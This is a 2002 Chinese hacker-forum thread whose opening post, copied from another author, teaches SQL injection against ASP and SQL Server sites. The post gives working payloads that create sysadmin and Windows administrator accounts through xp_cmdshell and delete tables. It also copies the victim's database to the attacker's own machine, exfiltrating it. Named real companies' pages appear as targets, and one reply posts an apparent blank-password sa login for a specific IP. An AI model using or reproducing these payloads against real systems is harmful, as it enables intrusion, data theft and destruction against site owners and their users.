>> 欢迎您, 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助 首页

  小榕软件实验室
  刀光雪影
  SQL数据库的一些攻击
发表文章 发表涂鸦
  回复数:20  点击数:546 将此页发给您的朋友        
作者 主题: SQL数据库的一些攻击 ( 页: 1 2 ) 回复 | 收藏 | 打印 | 篇末
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

关于数据库的简单入侵和无赖破坏,以天融信做例子


对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!
这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND ..... 这种方法请求数据库,那么如果还用以上的例子就会news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
这样,你在他的数据库和系统内都留下了hax管理员账号了
当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个'符号,主要看对方的ASP怎么写了


再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页,有新闻内容,如下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用'号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117';delete news;--
哈哈,我想只要表名猜对了,新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么?看看db_name()函数吧
打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了
以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' ,name='test';--
呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell 'ping 你的IP'
如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大

一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'

,name='test';--
呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露
那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的
下次我们还会谈到如何骗过IDS执行ASP+SQL入侵
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了
好吧,同志们下次见


所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了
window.location.herf=URL

补充:这个问题以前载网上也提出来过,但是只是一些简单的xp_cmdshell调用限制很大,其实这里面还有很多值得深入的地方比如www.guosen.com.cn。国信证卷就有这个问题,而且他们采用ms的三层结构作的用以前说的xp_cmdshell做法就不行了,字符串会被过滤,但是我尝试了,用sql的异类请求仍然可以在对方的机器上开启telnet服务和administrators组的账号!由于对方防火墙很严checkpoint数据报进出都只开放80端口因此,要想获得他的数据库结构比较困难了,但是还是有办法可以做到的:P
顺便提醒大家注意一下关于sqloledb,db_name,openrowset,opendatasource这些系统函数当asp的sqlserver账号只是一个普通用户时,他们会很有用的!
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.01:50:26   MSIE 6.0b Windows 98IP: 已记录
wendy帅哥哦
级别:精灵王
威望:0
经验:0
货币:1991
体力:73.3
来源:bbs.ccxx.net
总发帖数:985
注册日期:2002-03-11
查看 邮件 主页 QQ 消息 引用 复制 下载 

我看不懂1
----------------------------------------------------------
hacker精神只是从各行各业中的最优秀精神的结晶,以此更正大家对它的认识!

欢迎到bbs.wwenglish.org

交流英语 或网络技术

编辑 删除 发表时间发表于 2002-03-20.01:56:17   MSIE 5.0 Windows 98IP: 已记录
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵
那你得学
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.01:59:41   MSIE 6.0b Windows 98IP: 已记录
Mars帅哥哦
级别:老 站 友
威望:1
经验:0
货币:136
体力:6.2
来源:Admin
总发帖数:359
注册日期:2001-04-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

不错
建议加到精华
----------------------------------------------------------
最简单的快乐就叫幸福

编辑 删除 发表时间发表于 2002-03-20.05:21:00   MSIE 5.0 Windows 98IP: 已记录
扑街帅哥哦
级别:管理员
威望:4
经验:122
货币:6108
体力:100
来源:青山精神病院
总发帖数:2267
注册日期:2001-07-23
查看 邮件 主页 QQ 消息 引用 复制 下载 

好,今天刚去买了两张SQL的光碟回来想学一下~~~
----------------------------------------------------------
今生无缘,泪如雨下,我试着忘记红尘中你留下的故事,可数日以来我始终无法走出你曾给我的感情世界,我深知让往事随风不是说说那么容易的. 天空下我们彼此站成了两个无法相溶的世界我却又总想忍住悲伤,而思念像穿透了灵魂一般不可抑制

编辑 删除 发表时间发表于 2002-03-20.05:23:31   MSIE 6.0b Windows 98IP: 已记录
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

谢谢。但是斑竹不给我加进精华
我怎么办?
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.10:22:11   MSIE 6.0b Windows 98IP: 已记录
楚楚留香帅哥哦
级别:精灵王
威望:6
经验:1
货币:2090
体力:96
来源:202.98.177.*
总发帖数:590
注册日期:2001-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

TNND,抄别人的也注明一下呀!你知道不知道这篇文章的作者是谁?????????????????????????????????????????????????????????????????????????????????
----------------------------------------------------------
我竟改掉了落泪,也许是因为在黑暗中变得成熟了;成熟是因为心死了一半,心死了一半是因为没有了希望;没了希望是因为人们把我的退路断了;退路断了是因为这社会他妈的不想让我好好的活;这社会他妈的不想让我好好活是因为我从不肯妥协;我从不肯妥协是因为我还没人性的活着;我还没人性的活着是因为心中还有那么一点点的希望……

编辑 删除 发表时间发表于 2002-03-20.10:30:12   MSIE 6.0 Windows XPIP: 已记录
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

以前收藏的。作者也忘记了啊。呵呵。
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.10:31:09   MSIE 6.0b Windows 98IP: 已记录
ijlfmvnx帅哥哦
级别:中级站友
威望:0
经验:0
货币:32
体力:1.1
来源:浙江
总发帖数:59
注册日期:2002-03-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

嗯。。。好

编辑 删除 发表时间发表于 2002-03-20.10:34:46   MSIE 5.0 Windows 98IP: 已记录
雨风帅哥哦
级别:新手上路
威望:0
经验:0
货币:119
体力:30.8
来源:山东
总发帖数:4
注册日期:2002-03-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

呵呵,看不懂
----------------------------------------------------------
爱你亿万年!

编辑 删除 发表时间发表于 2002-03-20.11:33:11   MSIE 5.0 Windows 98IP: 已记录
eheart帅哥哦
级别:新手上路
威望:0
经验:0
货币:
体力:
来源:湖北
总发帖数:8
注册日期:2002-03-14
查看 邮件 主页 QQ 消息 引用 复制 下载 

这篇文章我记得是佳佳写的
----------------------------------------------------------
万维兴亡,匹夫有责

编辑 删除 发表时间发表于 2002-03-20.11:57:29   MSIE 6.0 Windows 2000IP: 已记录
socoo帅哥哦
级别:一般站友
威望:0
经验:0
货币:31
体力:1.2
来源:北京
总发帖数:19
注册日期:2002-01-21
查看 邮件 主页 QQ 消息 引用 复制 下载 

sa:210.242.17.187:<NULL>QL

编辑 删除 发表时间发表于 2002-03-20.12:16:56   MSIE 5.01 Windows 2000IP: 已记录
楚楚留香帅哥哦
级别:精灵王
威望:6
经验:1
货币:2090
体力:96
来源:202.98.177.*
总发帖数:590
注册日期:2001-04-17
查看 邮件 主页 QQ 消息 引用 复制 下载 

原文由 eheart 发表:
这篇文章我记得是佳佳写的

是佳佳写的!居然还要求版主加入精华!老早前的文章了!
----------------------------------------------------------
我竟改掉了落泪,也许是因为在黑暗中变得成熟了;成熟是因为心死了一半,心死了一半是因为没有了希望;没了希望是因为人们把我的退路断了;退路断了是因为这社会他妈的不想让我好好的活;这社会他妈的不想让我好好活是因为我从不肯妥协;我从不肯妥协是因为我还没人性的活着;我还没人性的活着是因为心中还有那么一点点的希望……

编辑 删除 发表时间发表于 2002-03-20.12:34:44   MSIE 6.0 Windows XPIP: 已记录
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

什么是佳佳写的。佳佳也是COPY的。我找到原作者了
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.12:38:34   MSIE 6.0b Windows 98IP: 已记录
独孤残梦帅哥哦
级别:精灵王
威望:0
经验:2
货币:1791
体力:100
来源:远方?
总发帖数:471
注册日期:2002-02-19
查看 邮件 主页 QQ 消息 引用 复制 下载 

SQL数据库的一些攻击
转载:inburst(闯入)
来源:Hectic

SQL数据库的一些攻击

Hectic

看看是谁写的
----------------------------------------------------------

编辑 删除 发表时间发表于 2002-03-20.12:42:38   MSIE 6.0b Windows 98IP: 已记录
秒差距帅哥哦
级别:长 老 级
威望:2
经验:0
货币:3597
体力:100
来源:福建
总发帖数:1000
注册日期:2002-02-05
查看 邮件 主页 QQ 消息 引用 复制 下载 

干嘛要为原创或转贴争个你死我活的?只要大家觉得经典,贴上来一起分享,这不是很好?
----------------------------------------------------------
FGBCDFHIJCPQRFBSTJID

编辑 删除 发表时间发表于 2002-03-20.13:01:41   MSIE 6.0 Windows 2000IP: 已记录
选择回复        
 快速回复主题: >>>高级模式
  用户名: 没有注册? 密码: 忘记密码?
记住密码
HTML语法
禁止IDB代码
禁止表情字符

[按 Ctrl+Enter 快捷键可直接提交帖子]
 投票评分: 共 0 票  
所有时间均为: 北京时间 ↑TOP [第 1 2 页]
关闭主题 拉前主题 移动主题 主题置顶 取消置顶 总固顶主题 取消总固顶 加入精华 移出精华 删除主题